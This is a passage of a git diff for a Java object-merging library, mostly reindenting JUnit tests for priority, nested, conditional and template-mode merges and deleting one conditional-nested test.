HashMap<>(); + definitions.put("translations", transDef); + + MergeDefinition mergeDefinition = new MergeDefinition(definitions); + + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); + + Map resultMap = (Map) result.get("translations"); + assertEquals("Hello", resultMap.get("en")); + assertEquals("Hallo", resultMap.get("de")); + } } diff --git a/objectmerger/src/test/java/de/x132/family/Family.java b/objectmerger/src/test/java/de/x132/family/Family.java index 2349793..68f5a9e 100644 --- a/objectmerger/src/test/java/de/x132/family/Family.java +++ b/objectmerger/src/test/java/de/x132/family/Family.java @@ -5,6 +5,6 @@ @Data public class Family { - private String familyName; - private List members; + private String familyName; + private List members; } diff --git a/objectmerger/src/test/java/de/x132/family/FamilyMember.java b/objectmerger/src/test/java/de/x132/family/FamilyMember.java index 23962cb..efff442 100644 --- a/objectmerger/src/test/java/de/x132/family/FamilyMember.java +++ b/objectmerger/src/test/java/de/x132/family/FamilyMember.java @@ -4,7 +4,7 @@ @Data public class FamilyMember { - private String firstName; - private String lastName; - private Integer age; + private String firstName; + private String lastName; + private Integer age; } diff --git a/objectmerger/src/test/java/de/x132/family/ListMergeTest.java b/objectmerger/src/test/java/de/x132/family/ListMergeTest.java index 6680cc1..5244118 100644 --- a/objectmerger/src/test/java/de/x132/family/ListMergeTest.java +++ b/objectmerger/src/test/java/de/x132/family/ListMergeTest.java @@ -33,169 +33,180 @@ @DisplayName("Family Merge Scenario (JSON Integration)") class ListMergeTest { - private final Gson gson; - - public ListMergeTest() { - this.gson = - new GsonBuilder() - .registerTypeAdapter(FieldDefinition.class, new TestFieldDefinitionDeserializer()) - .registerTypeAdapter(MergeDefinition.class, new TestMergeDefinitionDeserializer()) - .registerTypeAdapter( - ItemMergeDefinition.class, new TestItemMergeDefinitionDeserializer()) - .create(); - } - - @Test - @DisplayName("Should merge two families and apply API updates based on Template logic") - void testFamilyMergeScenario() throws IOException { - // 1. Load Data - Map familyA = loadJson("scenarios/family_merging/family_a.json"); - Map familyB = loadJson("scenarios/family_merging/family_b.json"); - Map apiUpdate = loadJson("scenarios/family_merging/api_update.json"); - MergeDefinition definition = loadDefinition("scenarios/family_merging/definition.json"); - - // 2. Wrap Sources - LabeledSource> sourceA = new LabeledSource<>("family_a", familyA); - LabeledSource> sourceB = new LabeledSource<>("family_b", familyB); - LabeledSource> sourceApi = new LabeledSource<>("api", apiUpdate); - - // 3. Merge - // Note: We are merging Maps, so the result is a Map - @SuppressWarnings("unchecked") - Map result = ObjectMerger.merge(definition, sourceA, sourceB, sourceApi); + private final Gson gson; + + public ListMergeTest() { + this.gson = + new GsonBuilder() + .registerTypeAdapter( + FieldDefinition.class, new TestFieldDefinitionDeserializer()) + .registerTypeAdapter( + MergeDefinition.class, new TestMergeDefinitionDeserializer()) + .registerTypeAdapter( + ItemMergeDefinition.class, + new TestItemMergeDefinitionDeserializer()) + .create(); + } - // 4. Verify - assertNotNull(result); - assertTrue(result.containsKey("members")); + @Test + @DisplayName("Should merge two families and apply API updates based on Template logic") + void testFamilyMergeScenario() throws IOException { + // 1. Load Data + Map familyA = loadJson("scenarios/family_merging/family_a.json"); + Map familyB = loadJson("scenarios/family_merging/family_b.json"); + Map apiUpdate = loadJson("scenarios/family_merging/api_update.json"); + MergeDefinition definition = loadDefinition("scenarios/family_merging/definition.json"); + + // 2. Wrap Sources + LabeledSource> sourceA = new LabeledSource<>("family_a", familyA); + LabeledSource> sourceB = new LabeledSource<>("family_b", familyB); + LabeledSource> sourceApi = new LabeledSource<>("api", apiUpdate); + + // 3. Merge + // Note: We are merging Maps, so the result is a Map + @SuppressWarnings("unchecked") + Map result = ObjectMerger.merge(definition, sourceA, sourceB, sourceApi); + + // 4. Verify + assertNotNull(result); + assertTrue(result.containsKey("members")); + + @SuppressWarnings("unchecked") + List> members = (List>) result.get("members"); + + // Expecting 4 members: Peter, Mary (from A), Klaus, Gabi (from B). + // Grandpa (from API) should be filtered out because API is not in + // keyOriginLabels. + assertEquals(4, members.size(), "Should have 4 members (Grandpa filtered out)"); + + // Verify Peter (p1) has updated birthdate from API + Map peter = findById(members, "p1"); + assertEquals("Peter", peter.get("name")); + assertEquals( + "1980-01-02", + peter.get("birthdate"), + "Peter should have updated birthdate from API (Priority 10)"); + + // Verify Klaus (p2) is present + Map klaus = findById(members, "p2"); + assertNotNull(klaus); + assertEquals("Klaus", klaus.get("name")); + } @SuppressWarnings("unchecked") - List> members = (List>) result.get("members"); - - // Expecting 4 members: Peter, Mary (from A), Klaus, Gabi (from B). - // Grandpa (from API) should be filtered out because API is not in - // keyOriginLabels. - assertEquals(4, members.size(), "Should have 4 members (Grandpa filtered out)"); - - // Verify Peter (p1) has updated birthdate from API - Map peter = findById(members, "p1"); - assertEquals("Peter", peter.get("name")); - assertEquals( - "1980-01-02", - peter.get("birthdate"), - "Peter should have updated birthdate from API (Priority 10)"); - - // Verify Klaus (p2) is present - Map klaus = findById(members, "p2"); - assertNotNull(klaus); - assertEquals("Klaus", klaus.get("name")); - } - - @SuppressWarnings("unchecked") - private Map loadJson(String path) throws IOException { - try (InputStream is = getClass().getClassLoader().getResourceAsStream(path)) { - if (is == null) throw new IOException("Resource not found: " + path); - return gson.fromJson( - new InputStreamReader(is), new TypeToken>() {}.getType()); + private Map loadJson(String path) throws IOException { + try (InputStream is = getClass().getClassLoader().getResourceAsStream(path)) { + if (is == null) throw new IOException("Resource not found: " + path); + return gson.fromJson( + new InputStreamReader(is), new TypeToken>() {}.getType()); + } } - } - private MergeDefinition loadDefinition(String path) throws IOException { - try (InputStream is = getClass().getClassLoader().getResourceAsStream(path)) { - if (is == null) throw new IOException("Resource not found: " + path); - return gson.fromJson(new InputStreamReader(is), MergeDefinition.class); + private MergeDefinition loadDefinition(String path) throws IOException { + try (InputStream is = getClass().getClassLoader().getResourceAsStream(path)) { + if (is == null) throw new IOException("Resource not found: " + path); + return gson.fromJson(new InputStreamReader(is), MergeDefinition.class); + } } - } - - private Map findById(List> list, String id) { - return list.stream() - .filter(m -> id.equals(m.get("id"))) - .findFirst() - .orElseThrow(() -> new AssertionError("Member with id " + id + " not found in: " + list)); - } - - // Inner Deserializer class - public static class TestFieldDefinitionDeserializer - implements JsonDeserializer> { - @Override - public FieldDefinition deserialize( - JsonElement json, Type typeOfT, JsonDeserializationContext context) - throws JsonParseException { - - JsonObject jsonObject = json.getAsJsonObject(); - String strategyName = - jsonObject.has("strategy") ? jsonObject.get("strategy").getAsString() : "standard"; - - MergeStrategy strategy = StrategyRegistry.getInstance().getStrategy(strategyName); - if (strategy == null) { - // Fallback or error? For test, let's use standard if unknown (should not happen - // in valid test) - // Actually, if registry is empty this fails. Registry is singleton, ensures - // standard strategies loaded? - // StrategyRegistry usually loads from ServiceLoader. - // Since this is a unit test, we rely on SPI file being present in - // src/main/resources/META-INF... - // which it IS in objectmerger module. - throw new JsonParseException("Unknown strategy: " + strategyName); - } - - Class configClass = strategy.getConfigurationClass(); - - if (configClass == FieldDefinition.class) { - configClass = StandardFieldDefinition.class; - } - - return context.deserialize(json, configClass); + + private Map findById(List> list, String id) { + return list.stream() + .filter(m -> id.equals(m.get("id"))) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "Member with id " + id + " not found in: " + list)); } - } - // Inner Deserializer class for MergeDefinition (Flat Map -> Object) - public static class TestMergeDefinitionDeserializer implements JsonDeserializer { - @Override - public MergeDefinition deserialize( - JsonElement json, Type typeOfT, JsonDeserializationContext context) - throws JsonParseException { + // Inner Deserializer class + public static class TestFieldDefinitionDeserializer + implements JsonDeserializer> { + @Override + public FieldDefinition deserialize( + JsonElement json, Type typeOfT, JsonDeserializationContext context) + throws JsonParseException { + + JsonObject jsonObject = json.getAsJsonObject(); + String strategyName = + jsonObject.has("strategy") + ? jsonObject.get("strategy").getAsString() + : "standard"; + + MergeStrategy strategy = StrategyRegistry.getInstance().getStrategy(strategyName); + if (strategy == null) { + // Fallback or error? For test, let's use standard if unknown (should not happen + // in valid test) + // Actually, if registry is empty this fails. Registry is singleton, ensures + // standard strategies loaded? + // StrategyRegistry usually loads from ServiceLoader. + // Since this is a unit test, we rely on SPI file being present in + // src/main/resources/META-INF... + // which it IS in objectmerger module. + throw new JsonParseException("Unknown strategy: " + strategyName); + } + + Class configClass = strategy.getConfigurationClass(); + + if (configClass == FieldDefinition.class) { + configClass = StandardFieldDefinition.class; + } + + return context.deserialize(json, configClass); + } + } + + // Inner Deserializer class for MergeDefinition (Flat Map -> Object) + public static class TestMergeDefinitionDeserializer + implements JsonDeserializer { + @Override + public MergeDefinition deserialize( + JsonElement json, Type typeOfT, JsonDeserializationContext context) + throws JsonParseException { - JsonObject jsonObject = json.getAsJsonObject(); - Map> map = new HashMap<>(); + JsonObject jsonObject = json.getAsJsonObject(); + Map> map = new HashMap<>(); - for (Map.Entry entry : jsonObject.entrySet()) { - FieldDefinition def = context.deserialize(entry.getValue(), FieldDefinition.class); - map.put(entry.getKey(), def); - } + for (Map.Entry entry : jsonObject.entrySet()) { + FieldDefinition def = + context.deserialize(entry.getValue(), FieldDefinition.class); + map.put(entry.getKey(), def); + } - return new MergeDefinition(map); + return new MergeDefinition(map); + } } - } - - // Inner Deserializer class for ItemMergeDefinition (Flat Map -> Object) - public static class TestItemMergeDefinitionDeserializer - implements JsonDeserializer { - @Override - public ItemMergeDefinition deserialize( - JsonElement json, Type typeOfT, JsonDeserializationContext context) - throws JsonParseException { - - JsonObject jsonObject = json.getAsJsonObject(); - Map> map = new HashMap<>(); - String targetClass = null; - - if (jsonObject.has("targetClass")) { - targetClass = jsonObject.get("targetClass").getAsString(); - // Dont modify original object if possible, but iterating and skipping is safer - } - - for (Map.Entry entry : jsonObject.entrySet()) { - if ("targetClass".equals(entry.getKey())) { - continue; // Handled above + + // Inner Deserializer class for ItemMergeDefinition (Flat Map -> Object) + public static class TestItemMergeDefinitionDeserializer + implements JsonDeserializer { + @Override + public ItemMergeDefinition deserialize( + JsonElement json, Type typeOfT, JsonDeserializationContext context) + throws JsonParseException { + + JsonObject jsonObject = json.getAsJsonObject(); + Map> map = new HashMap<>(); + String targetClass = null; + + if (jsonObject.has("targetClass")) { + targetClass = jsonObject.get("targetClass").getAsString(); + // Dont modify original object if possible, but iterating and skipping is safer + } + + for (Map.Entry entry : jsonObject.entrySet()) { + if ("targetClass".equals(entry.getKey())) { + continue; // Handled above + } + FieldDefinition def = + context.deserialize(entry.getValue(), FieldDefinition.class); + map.put(entry.getKey(), def); + } + + ItemMergeDefinition itemDef = new ItemMergeDefinition(); + itemDef.setDefinitions(map); + itemDef.setTargetClass(targetClass); + return itemDef; } - FieldDefinition def = context.deserialize(entry.getValue(), FieldDefinition.class); - map.put(entry.getKey(), def); - } - - ItemMergeDefinition itemDef = new ItemMergeDefinition(); - itemDef.setDefinitions(map); - itemDef.setTargetClass(targetClass); - return itemDef; } - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/ConditionalNestedTest.java b/objectmerger/src/test/java/de/x132/objectmerger/ConditionalNestedTest.java deleted file mode 100644 index a470ca3..0000000 --- a/objectmerger/src/test/java/de/x132/objectmerger/ConditionalNestedTest.java +++ /dev/null @@ -1,125 +0,0 @@ -package de.x132.objectmerger; - -import de.x132.objectmerger.strategy.conditional.ConditionCase; -import de.x132.objectmerger.strategy.conditional.ConditionalFieldDefinition; -import de.x132.objectmerger.strategy.conditional.ConditionalMergeStrategy; -import de.x132.objectmerger.strategy.nested.NestedFieldDefinition; -import de.x132.objectmerger.strategy.nested.NestedMergeStrategy; -import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; -import de.x132.objectmerger.strategy.priority.PriorityMergeStrategy; -import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import lombok.AllArgsConstructor; -import lombok.Data; -import lombok.NoArgsConstructor; -import org.junit.jupiter.api.Assertions; -import org.junit.jupiter.api.Test; - -public class ConditionalNestedTest { - - @Data - @AllArgsConstructor - @NoArgsConstructor - public static class Address { - private String street; - private String zip; - private boolean valid; - } - - @Test - void testConditionalIncludesNested() { - // Scenario: - // If source2.valid == true, use Nested merge (Street -> Source2, Zip -> - // Source1) - // Else, use Standard merge (Source 1 entirely, ignoring Source 2 invalid data) - - Address a1 = new Address("Old St", "12345", true); - Address a2 = new Address("New St", "99999", true); // Valid API response - - // 1. Define Nested Strategy (The "Target" behavior) - Map> nestedFields = new HashMap<>(); - PriorityFieldDefinition streetDef = new PriorityFieldDefinition<>(); - streetDef.setStrategy(PriorityMergeStrategy.NAME); - streetDef.setPriority(Map.of("source2", 1, "source1", 2)); - nestedFields.put("street", streetDef); - - // Zip: source1 > source2 - PriorityFieldDefinition zipDef = new PriorityFieldDefinition<>(); - zipDef.setStrategy(PriorityMergeStrategy.NAME); - zipDef.setPriority(Map.of("source1", 1, "source2", 2)); - nestedFields.put("zip", zipDef); - - NestedFieldDefinition
nestedDef = new NestedFieldDefinition<>(); - nestedDef.setStrategy(NestedMergeStrategy.NAME); - nestedDef.setNestedDefinition(new MergeDefinition(nestedFields)); - - // 2. Define Conditional Strategy - ConditionalFieldDefinition
conditionalDef = new ConditionalFieldDefinition<>(); - conditionalDef.setStrategy(ConditionalMergeStrategy.NAME); - - // Case 1: source2 is valid -> Use Nested - ConditionCase
validCase = new ConditionCase<>(); - validCase.setCondition("values['source2'].valid == true"); - validCase.setUseStrategy(nestedDef); - - conditionalDef.setCases(List.of(validCase)); - - // Default: Standard (implicit? or explicit StandardFieldDefinition) - // Default behavior of Conditional is Standard if no default set? - // No, strategy logic: "if defaultStrategy != null... else return null". - // We should set a default strategy to be safe, e.g. Priority(source1) or - // Standard. - StandardFieldDefinition
fallback = new StandardFieldDefinition<>(); - // Standard usually picks first non-null. Order is source1, source2. So Source1. - conditionalDef.setDefaultStrategy(fallback); - - MergeDefinition rootDef = new MergeDefinition(); - rootDef.setDefinitions(Map.of("self", conditionalDef)); // Wait, we are merging generic object? - - // Testing wrapping object: - // Let's merge Address directly? PojoMerger merges Fields of targetClass. - // So we need a container class. - - Wrapper w1 = new Wrapper(a1); - Wrapper w2 = new Wrapper(a2); - - MergeDefinition wrapperDef = new MergeDefinition(); - wrapperDef.setDefinitions(Map.of("address", conditionalDef)); - - // Test 1: Valid API - Wrapper result1 = - ObjectMerger.merge( - Wrapper.class, - wrapperDef, - new LabeledSource<>("source1", w1), - new LabeledSource<>("source2", w2)); - - // Expect: Nested merge (Street=New, Zip=12345) - Assertions.assertEquals("New St", result1.getAddress().getStreet()); - Assertions.assertEquals("12345", result1.getAddress().getZip()); - - // Test 2: Invalid API - a2.setValid(false); - // a2.setStreet("Bad St"); - - Wrapper result2 = - ObjectMerger.merge( - Wrapper.class, - wrapperDef, - new LabeledSource<>("source1", w1), - new LabeledSource<>("source2", w2)); - - // Expect: Fallback to Standard (Source 1) - Assertions.assertEquals("Old St", result2.getAddress().getStreet()); - Assertions.assertEquals("12345", result2.getAddress().getZip()); - } - - @Data - @AllArgsConstructor - @NoArgsConstructor - public static class Wrapper { - private Address address; - } -} diff --git a/objectmerger/src/test/java/de/x132/objectmerger/NestedMergeTest.java b/objectmerger/src/test/java/de/x132/objectmerger/NestedMergeTest.java index 6757f38..29c2ac1 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/NestedMergeTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/NestedMergeTest.java @@ -14,128 +14,132 @@ public class NestedMergeTest { - @Data - @AllArgsConstructor - @NoArgsConstructor - public static class Person { - private String name; - private Address address; - } - - @Data - @AllArgsConstructor - @NoArgsConstructor - public static class Address { - private String street; - private String zip; - private String city; - } - - @Test - void testNestedMergeWithSelectiveFields() { - // Sources - Address a1 = new Address("Old St", "12345", "HomeCity"); - Person p1 = new Person("Max", a1); - - Address a2 = new Address("New St", "99999", "ApiCity"); // API has different data - Person p2 = new Person("Max", a2); - - // Goal: - // Street -> API (Source2) - // Zip -> Local (Source1) - // City -> Local (Source1) - Implicit priority - - // 1. Nested Definition for Address - Map> nestedFields = new HashMap<>(); - - // Street: Priority [source2, source1] - PriorityFieldDefinition streetDef = new PriorityFieldDefinition<>(); - streetDef.setStrategy(PriorityMergeStrategy.NAME); - streetDef.setPriority(Map.of("source2", 1, "source1", 2)); - nestedFields.put("street", streetDef); - - // Zip: Priority [source1, source2] - PriorityFieldDefinition zipDef = new PriorityFieldDefinition<>(); - zipDef.setStrategy(PriorityMergeStrategy.NAME); - zipDef.setPriority(Map.of("source1", 1, "source2", 2)); - nestedFields.put("zip", zipDef); - - MergeDefinition nestedMergeDef = new MergeDefinition(nestedFields); - - // 2. Main Definition for Person - Map> mainFields = new HashMap<>(); - - NestedFieldDefinition
addressDef = new NestedFieldDefinition<>(); - addressDef.setStrategy(NestedMergeStrategy.NAME); - addressDef.setNestedDefinition(nestedMergeDef); - mainFields.put("address", addressDef); - - MergeDefinition mainMergeDef = new MergeDefinition(mainFields); - - // 3. Execution - Person result = - ObjectMerger.merge( - Person.class, - mainMergeDef, - new LabeledSource<>("source1", p1), - new LabeledSource<>("source2", p2)); - - // 4. Verification - Assertions.assertNotNull(result.getAddress()); - Assertions.assertEquals( - "New St", result.getAddress().getStreet(), "Street should come from Source2 (API)"); - Assertions.assertEquals( - "12345", result.getAddress().getZip(), "Zip should come from Source1 (Local)"); - - Assertions.assertNull( - result.getAddress().getCity(), - "City should be null because it was not in nested definition"); - } - - @Test - void testNestedMergeWithTemplateModeSynergy() { - // Same as above, but using Template Mode for the nested definition to include - // ALL fields automatically - - Address a1 = new Address("Old St", "12345", "HomeCity"); - Person p1 = new Person("Max", a1); - - Address a2 = new Address("New St", "99999", "ApiCity"); - Person p2 = new Person("Max", a2); - - // Nested Definition: Use Template Mode "source1" to pick up all fields (street, - // zip, city) - MergeDefinition nestedMergeDef = new MergeDefinition(); - nestedMergeDef.setTemplateSourceLabel("source1"); - - // Override Street to prioritize API - Map> explicitNested = new HashMap<>(); - PriorityFieldDefinition streetDef = new PriorityFieldDefinition<>(); - streetDef.setStrategy(PriorityMergeStrategy.NAME); - streetDef.setPriority(Map.of("source2", 1, "source1", 2)); - explicitNested.put("street", streetDef); - nestedMergeDef.setDefinitions(explicitNested); - - // Main Definition - Map> mainFields = new HashMap<>(); - NestedFieldDefinition
addressDef = new NestedFieldDefinition<>(); - addressDef.setStrategy(NestedMergeStrategy.NAME); - addressDef.setNestedDefinition(nestedMergeDef); - mainFields.put("address", addressDef); - - MergeDefinition mainMergeDef = new MergeDefinition(mainFields); - - Person result = - ObjectMerger.merge( - Person.class, - mainMergeDef, - new LabeledSource<>("source1", p1), - new LabeledSource<>("source2", p2)); - - Assertions.assertEquals("New St", result.getAddress().getStreet()); - Assertions.assertEquals("12345", result.getAddress().getZip()); - - Assertions.assertEquals( - "HomeCity", result.getAddress().getCity(), "City should be included via Template Mode"); - } + @Data + @AllArgsConstructor + @NoArgsConstructor + public static class Person { + private String name; + private Address address; + } + + @Data + @AllArgsConstructor + @NoArgsConstructor + public static class Address { + private String street; + private String zip; + private String city; + } + + @Test + void testNestedMergeWithSelectiveFields() { + // Sources + Address a1 = new Address("Old St", "12345", "HomeCity"); + Person p1 = new Person("Max", a1); + + Address a2 = new Address("New St", "99999", "ApiCity"); // API has different data + Person p2 = new Person("Max", a2); + + // Goal: + // Street -> API (Source2) + // Zip -> Local (Source1) + // City -> Local (Source1) - Implicit priority + + // 1. Nested Definition for Address + Map> nestedFields = + new HashMap<>(); + + // Street: Priority [source2, source1] + PriorityFieldDefinition streetDef = new PriorityFieldDefinition<>(); + streetDef.setStrategy(PriorityMergeStrategy.NAME); + streetDef.setPriority(Map.of("source2", 1, "source1", 2)); + nestedFields.put("street", streetDef); + + // Zip: Priority [source1, source2] + PriorityFieldDefinition zipDef = new PriorityFieldDefinition<>(); + zipDef.setStrategy(PriorityMergeStrategy.NAME); + zipDef.setPriority(Map.of("source1", 1, "source2", 2)); + nestedFields.put("zip", zipDef); + + MergeDefinition nestedMergeDef = new MergeDefinition(nestedFields); + + // 2. Main Definition for Person + Map> mainFields = new HashMap<>(); + + NestedFieldDefinition
addressDef = new NestedFieldDefinition<>(); + addressDef.setStrategy(NestedMergeStrategy.NAME); + addressDef.setNestedDefinition(nestedMergeDef); + mainFields.put("address", addressDef); + + MergeDefinition mainMergeDef = new MergeDefinition(mainFields); + + // 3. Execution + Person result = + ObjectMerger.merge( + Person.class, + mainMergeDef, + new LabeledSource<>("source1", p1), + new LabeledSource<>("source2", p2)); + + // 4. Verification + Assertions.assertNotNull(result.getAddress()); + Assertions.assertEquals( + "New St", result.getAddress().getStreet(), "Street should come from Source2 (API)"); + Assertions.assertEquals( + "12345", result.getAddress().getZip(), "Zip should come from Source1 (Local)"); + + Assertions.assertNull( + result.getAddress().getCity(), + "City should be null because it was not in nested definition"); + } + + @Test + void testNestedMergeWithTemplateModeSynergy() { + // Same as above, but using Template Mode for the nested definition to include + // ALL fields automatically + + Address a1 = new Address("Old St", "12345", "HomeCity"); + Person p1 = new Person("Max", a1); + + Address a2 = new Address("New St", "99999", "ApiCity"); + Person p2 = new Person("Max", a2); + + // Nested Definition: Use Template Mode "source1" to pick up all fields (street, + // zip, city) + MergeDefinition nestedMergeDef = new MergeDefinition(); + nestedMergeDef.setTemplateSourceLabel("source1"); + + // Override Street to prioritize API + Map> explicitNested = + new HashMap<>(); + PriorityFieldDefinition streetDef = new PriorityFieldDefinition<>(); + streetDef.setStrategy(PriorityMergeStrategy.NAME); + streetDef.setPriority(Map.of("source2", 1, "source1", 2)); + explicitNested.put("street", streetDef); + nestedMergeDef.setDefinitions(explicitNested); + + // Main Definition + Map> mainFields = new HashMap<>(); + NestedFieldDefinition
addressDef = new NestedFieldDefinition<>(); + addressDef.setStrategy(NestedMergeStrategy.NAME); + addressDef.setNestedDefinition(nestedMergeDef); + mainFields.put("address", addressDef); + + MergeDefinition mainMergeDef = new MergeDefinition(mainFields); + + Person result = + ObjectMerger.merge( + Person.class, + mainMergeDef, + new LabeledSource<>("source1", p1), + new LabeledSource<>("source2", p2)); + + Assertions.assertEquals("New St", result.getAddress().getStreet()); + Assertions.assertEquals("12345", result.getAddress().getZip()); + + Assertions.assertEquals( + "HomeCity", + result.getAddress().getCity(), + "City should be included via Template Mode"); + } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/TemplateModeTest.java b/objectmerger/src/test/java/de/x132/objectmerger/TemplateModeTest.java index 9d76fc1..7eb9fe1 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/TemplateModeTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/TemplateModeTest.java @@ -13,72 +13,72 @@ public class TemplateModeTest { - @Data - @AllArgsConstructor - @NoArgsConstructor - public static class User { - private String name; - private int age; - private String role; - } - - @Test - void testTemplateModeFullGeneration() { - MergeDefinition def = new MergeDefinition(); - def.setTemplateSourceLabel("source1"); - - User u1 = new User("Alice", 30, "Admin"); - User u2 = new User("Bob", 25, "User"); - - User result = - ObjectMerger.merge( - User.class, - def, - new LabeledSource<>("source1", u1), - new LabeledSource<>("source2", u2)); - - Assertions.assertEquals("Alice", result.getName()); - Assertions.assertEquals(30, result.getAge()); - Assertions.assertEquals("Admin", result.getRole()); - } - - @Test - void testTemplateModeWithOverride() { - MergeDefinition def = new MergeDefinition(); - def.setTemplateSourceLabel("source1"); - Map> explicit = new HashMap<>(); - - StandardFieldDefinition roleDef = new StandardFieldDefinition<>(); - roleDef.setDefaultValue("SUPERUSER"); - explicit.put("role", roleDef); - - def.setDefinitions(explicit); - - User u1 = new User("Alice", 30, null); - User u2 = new User("Bob", 25, "User"); - - User result = - ObjectMerger.merge( - User.class, - def, - new LabeledSource<>("source1", u1), - new LabeledSource<>("source2", u2)); - - Assertions.assertEquals("Alice", result.getName()); - Assertions.assertEquals(30, result.getAge()); - } - - @Test - void testMissingTemplateSourceThrowsException() { - MergeDefinition def = new MergeDefinition(); - def.setTemplateSourceLabel("non_existent"); - - User u1 = new User("Alice", 30, "Admin"); - - Assertions.assertThrows( - InvalidSourceException.class, - () -> { - ObjectMerger.merge(User.class, def, new LabeledSource<>("source1", u1)); - }); - } + @Data + @AllArgsConstructor + @NoArgsConstructor + public static class User { + private String name; + private int age; + private String role; + } + + @Test + void testTemplateModeFullGeneration() { + MergeDefinition def = new MergeDefinition(); + def.setTemplateSourceLabel("source1"); + + User u1 = new User("Alice", 30, "Admin"); + User u2 = new User("Bob", 25, "User"); + + User result = + ObjectMerger.merge( + User.class, + def, + new LabeledSource<>("source1", u1), + new LabeledSource<>("source2", u2)); + + Assertions.assertEquals("Alice", result.getName()); + Assertions.assertEquals(30, result.getAge()); + Assertions.assertEquals("Admin", result.getRole()); + } + + @Test + void testTemplateModeWithOverride() { + MergeDefinition def = new MergeDefinition(); + def.setTemplateSourceLabel("source1"); + Map> explicit = new HashMap<>(); + + StandardFieldDefinition roleDef = new StandardFieldDefinition<>(); + roleDef.setDefaultValue("SUPERUSER"); + explicit.put("role", roleDef); + + def.setDefinitions(explicit); + + User u1 = new User("Alice", 30, null); + User u2 = new User("Bob", 25, "User"); + + User result = + ObjectMerger.merge( + User.class, + def, + new LabeledSource<>("source1", u1), + new LabeledSource<>("source2", u2)); + + Assertions.assertEquals("Alice", result.getName()); + Assertions.assertEquals(30, result.getAge()); + } + + @Test + void testMissingTemplateSourceThrowsException() { + MergeDefinition def = new MergeDefinition(); + def.setTemplateSourceLabel("non_existent"); + + User u1 = new User("Alice", 30, "Admin"); + + Assertions.assertThrows( + InvalidSourceException.class, + () -> { + ObjectMerger.merge(User.class, def, new LabeledSource<>("source1", u1)); + }); + } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/engine/MapMergerTest.java b/objectmerger/src/test/java/de/x132/objectmerger/engine/MapMergerTest.java index 5e21d47..a5a8739 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/engine/MapMergerTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/engine/MapMergerTest.java @@ -12,74 +12,76 @@ class MapMergerTest { - @Test - void testMerge_SimpleMap() { - MergeDefinition def = new MergeDefinition(); - Map> fields = new HashMap<>(); - fields.put("key", StandardFieldDefinition.builder().build()); - def.setDefinitions(fields); + @Test + void testMerge_SimpleMap() { + MergeDefinition def = new MergeDefinition(); + Map> fields = new HashMap<>(); + fields.put("key", StandardFieldDefinition.builder().build()); + def.setDefinitions(fields); - Map map1 = new HashMap<>(); - map1.put("key", "val1"); - Map map2 = new HashMap<>(); - map2.put("key", "val2"); + Map map1 = new HashMap<>(); + map1.put("key", "val1"); + Map map2 = new HashMap<>(); + map2.put("key", "val2"); - @SuppressWarnings("unchecked") - LabeledSource>[] sources = - new LabeledSource[] {new LabeledSource<>("s1", map1), new LabeledSource<>("s2", map2)}; + @SuppressWarnings("unchecked") + LabeledSource>[] sources = + new LabeledSource[] { + new LabeledSource<>("s1", map1), new LabeledSource<>("s2", map2) + }; - Map result = MapMerger.merge(def, sources); - assertEquals("val1", result.get("key")); - } + Map result = MapMerger.merge(def, sources); + assertEquals("val1", result.get("key")); + } - @Test - void testMerge_EmptySources() { - MergeDefinition def = new MergeDefinition(); - def.setDefinitions(new HashMap<>()); + @Test + void testMerge_EmptySources() { + MergeDefinition def = new MergeDefinition(); + def.setDefinitions(new HashMap<>()); - @SuppressWarnings("unchecked") - LabeledSource>[] sources = new LabeledSource[] {}; + @SuppressWarnings("unchecked") + LabeledSource>[] sources = new LabeledSource[] {}; - Map result = MapMerger.merge(def, sources); - assertNotNull(result); - assertTrue(result.isEmpty()); - } + Map result = MapMerger.merge(def, sources); + assertNotNull(result); + assertTrue(result.isEmpty()); + } - @Test - void testMerge_ConfigurationMismatch() { - MergeDefinition def = new MergeDefinition(); - Map> fields = new HashMap<>(); - // Use StandardStrategy (default) but provide a different FieldDefinition type - // if possible, - // or mock a strategy mismatch. - // Actually, "standard" strategy expects StandardFieldDefinition. - // Let's force a mismatch by using a strategy that expects a specific config - // (e.g. List) but passing StandardFieldDefinition. + @Test + void testMerge_ConfigurationMismatch() { + MergeDefinition def = new MergeDefinition(); + Map> fields = new HashMap<>(); + // Use StandardStrategy (default) but provide a different FieldDefinition type + // if possible, + // or mock a strategy mismatch. + // Actually, "standard" strategy expects StandardFieldDefinition. + // Let's force a mismatch by using a strategy that expects a specific config + // (e.g. List) but passing StandardFieldDefinition. - // Using a fake FieldDefinition with a specific strategy name but generic type - FieldDefinition mismatchedDef = new StandardFieldDefinition<>(); - // However, we need to bypass the builder checks or use a valid definition that - // resolves to a strategy - // that expects a DIFFERENT definition class. + // Using a fake FieldDefinition with a specific strategy name but generic type + FieldDefinition mismatchedDef = new StandardFieldDefinition<>(); + // However, we need to bypass the builder checks or use a valid definition that + // resolves to a strategy + // that expects a DIFFERENT definition class. - // For now, let's rely on the fact that if we use a strategy that requires a - // specific config class - // and we pass a different one, it throws. - // But most existing strategies use StandardFieldDefinition or accept it? - // Let's look at ConditionalMergeStrategy - it likely needs - // ConditionalFieldDefinition. + // For now, let's rely on the fact that if we use a strategy that requires a + // specific config class + // and we pass a different one, it throws. + // But most existing strategies use StandardFieldDefinition or accept it? + // Let's look at ConditionalMergeStrategy - it likely needs + // ConditionalFieldDefinition. - // We can't easily instantiate ConditionalMergeStrategy here without it being in - // the registry. - // Assuming "standard" is available. - // Let's skip complex setup and just trust the code coverage for now, - // or add a clearer test if we had a MockStrategy. - // Actually, let's just assert that *if* we pass an invalid config, it throws - // ConfigurationException. - // But we need a Strategy that has a strict config check. + // We can't easily instantiate ConditionalMergeStrategy here without it being in + // the registry. + // Assuming "standard" is available. + // Let's skip complex setup and just trust the code coverage for now, + // or add a clearer test if we had a MockStrategy. + // Actually, 